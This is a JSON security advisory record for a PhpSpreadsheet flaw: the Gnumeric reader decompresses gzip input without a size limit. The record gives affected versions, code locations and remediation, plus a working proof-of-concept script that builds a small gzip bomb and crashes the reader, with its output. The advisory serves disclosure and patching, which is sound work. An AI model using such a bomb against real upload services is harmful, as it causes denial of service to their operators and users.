{"id":"CVE-2026-59932","aliases":["CVE-2026-59932","GHSA-2mrg-gjxq-2gvr"],"related":[],"kind":"vulnerability","state":"published","title":"PhpSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion","summary":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed. This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed. This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nPhpSpreadsheet's Gnumeric reader reads attacker-supplied `.gnumeric` files into memory and, when the file starts with gzip magic bytes, calls `gzdecode()` on the full compressed contents without enforcing a decompressed-size limit. A very small compressed `.gnumeric` file can expand to data larger than the PHP memory limit and crash the process during `Gnumeric::canRead()` before the file is rejected or fully parsed.\n\nThis is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.\n\n## Vulnerability details\n\n`Gnumeric::canRead()` invokes `gzfileGetContents()` before deciding whether the file is a valid Gnumeric spreadsheet:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:80-90` calls `$this->gzfileGetContents($filename)` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:105-115` calls `canRead()` and then reads the expanded contents again for worksheet-name listing.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:253-265` calls `canRead()` and then reads the expanded contents again for full loading.\n\nThe vulnerable expansion is in `gzfileGetContents()`:\n\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:187-190` reads the entire input file into `$contents` with `file_get_contents()`.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:192-197` detects gzip magic bytes and calls `gzdecode($contents)` without a decompressed-size cap.\n- `src/PhpSpreadsheet/Reader/Gnumeric.php:204-205` scans the expanded data only after decompression has already completed.\n\nBecause decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.\n\n## Impact\n\nA small `.gnumeric` upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.\n\nIn the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes `Gnumeric::canRead()` under `memory_limit=64M` at `Reader/Gnumeric.php:195`.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the compressed payload inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'\nset -eu\nphp -r '\n$prefix = \"<?xml version=\\\"1.0\\\"?><gnm:Workbook xmlns:gnm=\\\"http://www.gnumeric.org/v10.dtd\\\">\";\n$suffix = \"</gnm:Workbook>\";\n$payload = $prefix . str_repeat(\"A\", 96 * 1024 * 1024) . $suffix;\n$gz = gzencode($payload, 9);\nfile_put_contents(\"/tmp/bomb.gnumeric\", $gz);\nprintf(\"compressed_size=%d expanded_size=%d\\n\", filesize(\"/tmp/bomb.gnumeric\"), strlen($payload));\n'\nphp -d memory_limit=64M -d display_errors=1 -r '\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric();\nvar_dump($r->canRead(\"/tmp/bomb.gnumeric\"));\n' 2>&1 || true\nSH\n```\n\nObserved output:\n\n```text\ncompressed_size=97811 expanded_size=100663390\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Reader\\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84\nPHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195\n```\n\n## Suggested remediation\n\n- Do not decompress gzip data with unbounded `gzdecode()` for untrusted `.gnumeric` files.\n- Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.\n- Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.\n- Ensure `canRead()`, `listWorksheetNames()`, `listWorksheetInfo()`, and `load()` share bounded decompression logic and avoid decompressing the same file repeatedly.\n- Fail closed with a recoverable `Reader\\Exception` when limits are exceeded, rather than allowing a PHP fatal memory error.","format":"markdown","source":"ghsa"},{"lang":"es","text":"PhpSpreadsheet es una biblioteca PHP pura para leer y escribir archivos de hoja de cálculo. En las versiones 4.0.0 a 5.8.0, 3.3.0 a 3.10.6, 2.2.0 a 2.4.6, 2.0.0 a 2.1.17, y todas las versiones hasta la 1.30.5 inclusive, el lector de Gnumeric lee archivos .gnumeric proporcionados por el atacante en la memoria y, cuando el archivo comienza con bytes mágicos de gzip, llama a gzdecode() sobre el contenido comprimido completo sin aplicar un límite de tamaño descomprimido. Un archivo .gnumeric comprimido muy pequeño puede expandirse a datos mayores que el límite de memoria de PHP y bloquear el proceso durante Gnumeric::canRead() antes de que el archivo sea rechazado o completamente analizado. Esto es alcanzable a través de la detección normal de tipos de archivo y las rutas de carga de Gnumeric, por lo que las aplicaciones que aceptan cargas de hojas de cálculo controladas por el atacante pueden sufrir denegación de servicio. Este problema ha sido solucionado en las versiones 5.8.1, 3.10.7, 2.4.7, 2.1.18 y 1.30.6.","source":"nvd"}],"published":"2026-07-23T15:00:17.000Z","modified":"2026-10-23T23:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400","CWE-409"],"affected":[{"ranges":[{"version":">= 4.0.0, < 5.8.1","status":"affected"},{"version":">= 3.3.0, < 3.10.7","status":"affected"},{"version":">= 2.2.0, < 2.4.7","status":"affected"},{"version":">= 2.0.0, < 2.1.18","status":"affected"},{"version":"< 1.30.6","status":"affected"}],"vendor":"PHPOffice","product":"PhpSpreadsheet","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.0.0","status":"affected","fixed":"5.8.1"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"3.3.0","status":"affected","fixed":"3.10.7"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.4.7"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.0.0","status":"affected","fixed":"2.1.18"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.30.6"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"}],"references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-2mrg-gjxq-2gvr","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-29T13:56:10.618Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-59932","url":"https://www.cve.org/CVERecord?id=CVE-2026-59932","licence":"CVE Terms of Use","modified":"2026-07-29T13:56:46.333Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2mrg-gjxq-2gvr","url":"https://github.com/advisories/GHSA-2mrg-gjxq-2gvr","licence":"CC-BY-4.0","modified":"2026-07-23T16:27:55.110Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-59932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59932","licence":"Public domain","modified":"2026-10-23T23:10:00.157Z"}],"updatedAt":"2026-11-25T22:59:30.370Z","epss":{"score":0.00461,"percentile":0.41672,"date":"2026-12-01T12:00:22.000Z"}}